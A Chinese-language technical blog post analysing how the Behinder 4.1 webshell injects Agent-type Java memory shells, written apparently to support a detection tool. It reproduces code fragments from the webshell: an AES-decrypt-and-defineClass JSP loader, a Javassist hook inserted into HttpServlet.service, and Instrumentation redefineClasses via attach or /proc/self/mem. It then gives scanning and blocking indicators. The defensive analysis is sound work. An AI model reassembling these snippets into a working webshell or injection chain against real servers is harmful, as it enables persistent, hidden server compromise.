冰蝎 4.1 Java 内存马注入链分析
最近正在开发 Java 内存马扫描分析工具。
这次翻冰蝎 4.1,不是为了复现攻击链,而是想把它在 JVM 里动了哪些东西弄明白。只有先知道它怎么塞进去、塞到哪儿,后面写扫描和拦截逻辑才不会只靠猜。

目录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| 1. 背景:为什么不能只扫 Web 组件 2. 入口层:JSP Shell 与 MemShell 调度 2.1 JSP Shell 如何执行 Payload 2.2 注入时 shell.jsp 怎么执行 MemShell 2.3 MemShell 里的 action 分支 2.4 action=get 如何探测入口类 3. 字节码改造:classBody 怎么变成 Hook 版 3.1 客户端用 Javassist 生成新 classBody 3.2 具体 Hook 哪些方法 3.3 插入进去的逻辑长什么样 4. 注入层:AgentNoFile 与 Agent 两条路径 4.1 AgentNoFile 无文件注入 4.2 Agent 落地 Jar 注入 5. 注入流程图 6. 防检测 antiAgent 7. 扫描工具可以怎么落地 8. 总结
|
1. 背景:为什么不能只扫 Web 组件
一开始做 Java 内存马扫描,很容易把注意力全放在 Filter、Servlet、Listener 这些运行时注册表上。
这条路当然要查,但冰蝎 4.1 的 Agent 注入链说明,只查这些还不够。它不一定老老实实注册一个新 Filter,而是可以直接改 JVM 里已经加载好的请求入口类。
这种思路更像是:
要看的不只是“容器里多了什么组件”,还要看:
1
| 原本的 HttpServlet / ServletStubImpl 有没有被重新定义
|
所以工具侧不能只枚举组件,还得能看关键类的字节码有没有被人动过。
2. 入口层:JSP Shell 与 MemShell 调度
这一层先看三个问题:请求是怎么进来的,注入时 shell.jsp 怎么把 MemShell 跑起来,以及跑起来以后由哪个 action 分支接着处理。
2.1 JSP Shell 如何执行 Payload
冰蝎服务端 JSP 模板不长,但里面有一个很值得盯的点:动态类加载。
以 server/shell.jsp 为例,里面会先准备一个很小的 ClassLoader:
1 2 3 4 5 6 7 8 9
| class U extends ClassLoader { U(ClassLoader c) { super(c); }
public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } }
|
请求进来以后,再把请求体解密,然后直接喂给这个 ClassLoader:
1 2 3 4 5 6 7
| Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
new U(this.getClass().getClassLoader()) .g(c.doFinal(base64Decode(requestBody))) .newInstance() .equals(pageContext);
|
也就是说,这个 JSP 入口大概是这么跑的:
1 2 3 4 5
| POST 加密请求体 -> JSP AES 解密 -> ClassLoader#defineClass 动态加载 payload -> newInstance() -> equals(pageContext) 执行
|
这里可以先记一个很直接的检测点:
1
| 请求线程内 defineClass + equals(pageContext)
|
2.2 注入时 shell.jsp 怎么执行 MemShell
注入内存马时,shell.jsp 自己不是内存马本体,它更像一个远程 class 执行入口。
冰蝎客户端点击注入后,会把要执行的 Java payload 加密后 POST 到 shell.jsp。shell.jsp 做完 Base64 和 AES 解密后,拿到的是一段 class 字节码,然后通过前面的 U.g(...) 直接 defineClass 加载进当前 JVM。
这一步加载的 payload,注入链里主要就是:
1
| net.rebeyond.behinder.payload.java.MemShell
|
所以注入时的执行关系可以拆成这样:
1 2 3 4 5 6 7 8
| 冰蝎客户端点击注入 -> 发送加密后的 MemShell class -> shell.jsp 解密请求体 -> defineClass 加载 MemShell -> newInstance() -> equals(pageContext) -> MemShell.equals() 开始执行 -> 根据 action 进入 get / injectAgent / injectAgentNoFile
|
换句话说,shell.jsp 只负责把客户端发来的 class 跑起来。真正决定“探测入口类、生成注入参数、执行 Agent 注入”的,是后面被动态加载的 MemShell。
这个关系对扫描工具也很重要:不要只看 shell.jsp 文件里有没有 injectAgent 字符串。很多时候 JSP 里只有 AES、Base64、defineClass 和 equals(pageContext),真正的注入逻辑是请求里动态送进去的。
2.3 MemShell 里的 action 分支
Java 内存马注入这块,主要逻辑集中在这个类里:
1
| net.rebeyond.behinder.payload.java.MemShell
|
翻这个类时,先看这几组字段:
1 2 3 4 5 6 7 8
| public static String action; public static String type; public static String className; public static String classBody; public static String libPath; public static String password; public static String antiAgent; public static String path;
|
最值得关注的是这几个 action:
1 2 3
| action=get action=injectAgent action=injectAgentNoFile
|
后面整条链路怎么走,基本就是看 action 的值。
2.4 action=get 如何探测入口类
冰蝎不是上来就硬改。它会先问目标 JVM:你这里能找到哪个请求入口类?
目标端 MemShell 的 action=get 分支,会按顺序去读这几个 class 资源:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| String[] targetClassArr = new String[] { "/weblogic/servlet/internal/ServletStubImpl.class", "/jakarta/servlet/http/HttpServlet.class", "/javax/servlet/http/HttpServlet.class" };
for (String targetClass : targetClassArr) { InputStream in = this.getClass().getResourceAsStream(targetClass); if (in == null) { continue; }
result.put("className", targetClass); result.put("classBody", base64encode(classBytes)); break; }
|
所以它实际盯上的就是这三个候选类:
1 2 3
| weblogic.servlet.internal.ServletStubImpl jakarta.servlet.http.HttpServlet javax.servlet.http.HttpServlet
|
这里有个点很容易误会:这一步返回的 classBody 还不是“内存马字节码”。它只是目标 JVM 里原始入口类的字节码。
3. 字节码改造:classBody 怎么变成 Hook 版
拿到原始入口类以后,下一步就是把它改成带 Hook 的版本。这一段发生在客户端侧,也是后面做字节码检测时最值得细看的地方。
3.1 客户端用 Javassist 生成新 classBody
不看 JNDI 插件的话,Hook 版 classBody 是在冰蝎客户端侧生成的,位置在:
1
| net.rebeyond.behinder.ui.controller.MainController.injectAgentNoFile(...)
|
这段逻辑做的事很直接:拿到 action=get 返回的原始类字节码,然后用 Javassist 往入口方法前面插一段代码。
把代码还原成容易看的流程,大概是这样:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| JSONObject result = shellService.getMemShellTargetClass();
JSONObject msg = new JSONObject(result.getString("msg"));
String className = msg.getString("className") .replaceFirst("/", "") .replace("/", ".") .replace(".class", "");
String classBody = msg.getString("classBody"); byte[] originBytes = Base64.getDecoder().decode(classBody);
ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ByteArrayClassPath(className, originBytes));
CtClass ctClass = pool.get(className);
Map targetConfig = targetClasses.get(className); String methodName = targetConfig.get("methodName").toString(); List<String> paramList = (List<String>) targetConfig.get("paramList");
CtMethod method = ctClass.getDeclaredMethod(methodName, paramTypes);
|
拿到 CtMethod 之后,客户端会拼出要塞进去的那段逻辑:
1 2 3 4 5 6 7 8
| ICrypt cryptor = shellService.getCryptor();
String code = String.format( Constants.shellCodeWithDecrypt, path, Base64.getEncoder().encodeToString(cryptor.getDecodeClsBytes()), "Decrypt" );
|
然后把它插到目标方法开头:
1 2 3 4 5 6
| method.insertBefore(code);
byte[] modifiedBytes = ctClass.toBytecode();
String newClassBody = Base64.getEncoder().encodeToString(modifiedBytes);
|
这一段串起来就是:
1 2 3 4 5 6 7
| 原始 classBody -> Base64 解码 -> Javassist 加载 CtClass -> 找 service() / execute() -> insertBefore(shellCodeWithDecrypt) -> CtClass.toBytecode() -> Base64 编码成新的 classBody
|
所以扫描时没必要只盯着 classBody 这个参数本身。真正要抓的是:入口方法里有没有多出这种动态加载和解密执行的字节码模式。
3.2 具体 Hook 哪些方法
客户端里有一张目标类到方法的映射表。
整理出来大概是这样:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| targetClasses.put("javax.servlet.http.HttpServlet", { methodName: "service", paramList: [ "javax.servlet.ServletRequest", "javax.servlet.ServletResponse" ] });
targetClasses.put("jakarta.servlet.http.HttpServlet", { methodName: "service", paramList: [ "jakarta.servlet.ServletRequest", "jakarta.servlet.ServletResponse" ] });
targetClasses.put("weblogic.servlet.internal.ServletStubImpl", { methodName: "execute", paramList: [ "javax.servlet.ServletRequest", "javax.servlet.ServletResponse" ] });
|
所以最后被塞逻辑的地方就两个方向:
1 2
| HttpServlet.service(...) ServletStubImpl.execute(...)
|
3.3 插入进去的逻辑长什么样
Constants.shellCodeWithDecrypt 展开以后,大概就是在入口方法前面加了这么一段判断:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| if (request.getRequestURI().matches(pathPattern)) { if (request.getMethod().equals("POST")) { byte[] requestBody = readRequestBody(request);
byte[] decryptBytes = base64Decode(decryptClass); Class decryptCls = defineClass(decryptBytes);
byte[] payloadBytes = decrypt(requestBody); Class payloadCls = defineClass(payloadBytes);
payloadCls.newInstance().equals(obj); return; } }
|
其中 obj 里放的是:
1 2 3
| request response session
|
运行期真正触发时,链路差不多是这样:
1 2 3 4 5 6 7 8
| POST /memshell -> 进入被 Hook 的 service() / execute() -> 匹配路径 -> 读取请求体 -> 加载解密类 -> 解密 payload -> defineClass 动态加载 -> equals(request/response/session) 执行
|
4. 注入层:AgentNoFile 与 Agent 两条路径
到这里,Hook 版字节码已经准备好了。接下来分成两条路:一种尽量不落地 Agent 文件,另一种生成并上传一个定制 Agent Jar。
4.1 AgentNoFile 无文件注入
AgentNoFile 这条路的特点,是尽量不在目标上落一个 Agent Jar。
前面客户端已经把入口类改成了 Hook 版,接下来会把类名和新的字节码一起发过去:
1 2 3 4 5
| shellService.injectAgentNoFileMemShell( className, newClassBody, antiAgent );
|
请求里主要带这几个值:
1 2 3 4
| action=injectAgentNoFile className=javax.servlet.http.HttpServlet classBody=修改后的字节码 Base64 antiAgent=true/false
|
目标端看到 action=injectAgentNoFile 后,会进入这个分支:
1 2 3 4 5 6 7 8 9
| if ("injectAgentNoFile".equals(action)) { enableAttachSelf();
doInjectAgentNoFile( className, base64decode(classBody), Boolean.parseBoolean(antiAgent) ); }
|
再往下会按操作系统拆分处理:
1 2 3 4 5 6 7 8 9
| String os = System.getProperty("os.name").toLowerCase();
if (os.contains("windows")) { agentForWindow(className, classBytes, antiAgent); } else if (os.contains("mac")) { } else { agentForLinux(className, classBytes, antiAgent); }
|
这条路之所以值得重点盯,是因为它会碰到这些比较敏感的东西:
1 2 3 4
| sun.misc.Unsafe sun.instrument.InstrumentationImpl ClassDefinition redefineClasses
|
如果是 Linux,痕迹还会更明显一些,会碰到:
1 2 3 4 5
| /proc/self/maps /proc/self/mem libjava.so libjvm.so JNI_GetCreatedJavaVMs
|
但不管中间怎么绕,最后还是为了调用这一步:
1 2 3 4 5 6
| ClassDefinition definition = new ClassDefinition( Class.forName(className), modifiedClassBytes );
instrumentation.redefineClasses(definition);
|
4.2 Agent 落地 Jar 注入
Agent 分支就更传统一点:先做一个定制过的 Agent Jar,再让目标 JVM 自己把它加载起来。
客户端会先准备一个远程临时路径。
Windows 类似:
1
| c:/windows/temp/{random}
|
Linux 类似:
接着从内置资源里选一个 Agent 模板:
1 2 3 4
| net/rebeyond/behinder/resource/tools/tools_0.jar net/rebeyond/behinder/resource/tools/tools_1.jar net/rebeyond/behinder/resource/tools/tools_2.jar net/rebeyond/behinder/resource/tools/tools_3.jar
|
生成定制 Jar 的入口是:
1 2 3 4 5 6
| personalizedAgentJar( templateJarPath, memshellPath, decryptClassBase64, "Decrypt" );
|
这个方法会先把这些参数准备好:
1 2 3 4
| params.put("path", memshellPath); params.put("decryptClassStr", decryptClassBase64); params.put("decryptName", "Decrypt"); params.put("shellCode", Constants.shellCodeWithDecrypt);
|
然后读取模板里的这个类:
1
| net/rebeyond/behinder/resource/tools/MemShell.class
|
然后通过:
1
| Params.getParamedClass(...)
|
再把路径、解密类、待插入代码这些内容写进 Agent 内部的 MemShell.class 静态字段。
接着重新打包 Jar:
1 2
| 替换 Agent Jar 内部 MemShell.class 修改 META-INF/MANIFEST.MF 中的 Agent-Class
|
Jar 准备好以后,再上传到目标:
1 2
| shellService.uploadFile(remotePath, personalizedJarBytes, true); shellService.loadJar(remotePath);
|
目标端收到的注入参数大概是:
1 2 3 4 5
| action=injectAgent libPath=remotePath path=memshellPath password=passwordKey antiAgent=true/false
|
真正加载 Agent 的地方,走的是 attach API:
1 2 3 4 5 6 7 8 9
| enableAttachSelf();
Class<?> vmClass = ClassLoader .getSystemClassLoader() .loadClass("com.sun.tools.attach.VirtualMachine");
Object vm = attachMethod.invoke(null, getCurrentPID());
loadAgentMethod.invoke(vm, libPath);
|
也就是:
1 2 3 4
| VirtualMachine.attach(当前 JVM) -> loadAgent(libPath) -> agentmain 获取 Instrumentation -> redefineClasses 修改请求入口类
|
5. 注入流程图
flowchart TD
A["冰蝎客户端<br/>点击注入内存马"] --> B["getMemShellTargetClass()"]
B --> C["目标端 MemShell<br/>action=get"]
C --> D{"探测目标 JVM 请求入口类"}
D --> D1["weblogic.servlet.internal.ServletStubImpl"]
D --> D2["jakarta.servlet.http.HttpServlet"]
D --> D3["javax.servlet.http.HttpServlet"]
D1 --> E["返回原始 className + classBody"]
D2 --> E
D3 --> E
E --> F{"注入类型"}
F --> G["AgentNoFile"]
F --> H["Agent"]
G --> G1["Base64 解码原始 classBody"]
G1 --> G2["Javassist 加载 CtClass"]
G2 --> G3["定位 service() / execute()"]
G3 --> G4["insertBefore(shellCodeWithDecrypt)"]
G4 --> G5["toBytecode() 生成替换字节码"]
G5 --> G6["发送 action=injectAgentNoFile"]
G6 --> G7["Unsafe / InstrumentationImpl"]
G7 --> Z["Instrumentation.redefineClasses()"]
H --> H1["生成个性化 Agent Jar"]
H1 --> H2["上传目标临时目录"]
H2 --> H3["VirtualMachine.attach 当前 JVM"]
H3 --> H4["loadAgent(libPath)"]
H4 --> H5["Agent 获取 Instrumentation"]
H5 --> Z
Z --> I["替换目标 JVM 已加载类"]
I --> J["HttpServlet.service()<br/>或 ServletStubImpl.execute() 被插入 Hook"]
J --> K["POST 注入路径"]
K --> L["解密 payload"]
L --> M["defineClass 动态加载"]
M --> N["equals(request/response/session) 执行"]
6. 防检测 antiAgent
前端“防检测”对应参数:
它不是 Web 流量层面的隐藏,而是偏向:
1 2 3
| 反 Java Agent 查杀 反后续 attach 反后续查杀插件注入
|
它带来的一个直接影响是:
1
| 当前注入成功后,容器重启前可能无法再次通过同类方式注入
|
所以防护侧不能太依赖 Agent 文件或 Agent 列表。开启防检测后,这些痕迹可能被清理,也可能被干扰。
更值得盯的还是这些位置:
1 2 3 4
| HttpServlet / ServletStubImpl 是否被 redefine service() / execute() 字节码是否异常 JVM 是否访问 /proc/self/mem 是否出现 Unsafe / InstrumentationImpl / ClassDefinition
|
7. 扫描工具可以怎么落地
看到这里,工具思路其实就比较清楚了:别一上来就满 JVM 乱扫,先把几个最容易被改的入口盯住。
从零开始做的话,可以先记录一份“干净状态”。应用刚启动、业务还没被打过的时候,先把这些东西存下来:
1 2 3 4 5 6
| Filter 列表 Servlet 映射 Listener 列表 Spring HandlerMapping HttpServlet.service 字节码 hash ServletStubImpl.execute 字节码 hash
|
这里面最容易被忽略的,其实是后面两个 hash。
因为冰蝎这条链不是一定新注册一个组件,它可以直接把已经加载的入口类改掉。你只看 Web 组件列表,很可能什么都看不出来。
第二步,把扫描范围先收窄到这几个类:
1 2 3
| javax.servlet.http.HttpServlet jakarta.servlet.http.HttpServlet weblogic.servlet.internal.ServletStubImpl
|
拿到类字节码以后,不是简单看有没有某个字符串,而是看一组特征是不是扎堆出现。比如:
1 2 3 4 5 6 7 8 9 10 11
| getRequestURI matches POST getInputStream Base64 ClassLoader#defineClass SecureClassLoader setAccessible(true) newInstance equals request / response / session
|
单个特征不一定能定性。比如业务代码里也可能有 Base64,也可能有反射。
但如果这些东西同时出现在 HttpServlet.service() 或 ServletStubImpl.execute() 这种入口方法里,那味道就不对了:
1 2 3 4 5 6
| 判断路径 只处理 POST 读取请求体 Base64 / AES 解密 defineClass 动态加载 newInstance + equals 执行
|
这几个动作连在一起,基本就是“请求进来以后现场解密并加载 class”的链路。
第三步才是拦截。优先卡这些动作:
1 2 3 4 5
| Instrumentation.redefineClasses VirtualMachine.attach loadAgent ClassLoader#defineClass /proc/self/mem
|
这里面最敏感的是 redefineClasses。尤其是下面这种情况,基本可以直接打高危告警:
1 2 3
| redefineClasses(javax.servlet.http.HttpServlet) redefineClasses(jakarta.servlet.http.HttpServlet) redefineClasses(weblogic.servlet.internal.ServletStubImpl)
|
如果再叠加这些现象,就不太适合再当成普通异常看了:
1 2 3 4 5
| 短时间内出现 attach / loadAgent 目标目录出现临时 Jar,随后又被删除 Linux 下访问 /proc/self/mem 入口类 hash 和启动基线不一致 入口方法里出现 defineClass 动态加载链
|
所以工具一开始没必要喊着“覆盖所有内存马”。这个口子太大,很容易做着做着就失焦。
更实际的做法,是先把它做成一个专门盯 Agent 型内存马的小工具:谁改了请求入口类、谁拿了 Instrumentation、谁在入口方法里塞了动态类加载逻辑,先把这几件事查准。等这条线稳定了,再慢慢扩到 Filter、Listener、Spring Controller 这些传统内存马类型。
8. 总结
把冰蝎 4.1 这条 Java 内存马注入链压缩一下,就是:
1 2 3 4 5 6 7
| 探测请求入口类 -> 取原始 classBody -> 客户端 Javassist 插入 Hook -> 生成替换后字节码 -> Agent / AgentNoFile 获取重定义能力 -> redefineClasses 替换 JVM 已加载类 -> 指定路径 POST 触发后续 payload
|
所以扫描工具不能只盯新增 Filter。
最后真正要抓的,还是这几件事:
1 2 3
| 请求入口类有没有被改 请求入口方法里有没有动态类加载链 JVM 有没有发生过敏感 redefine
|
这才是这类 Agent 型 Java 内存马绕不过去的地方。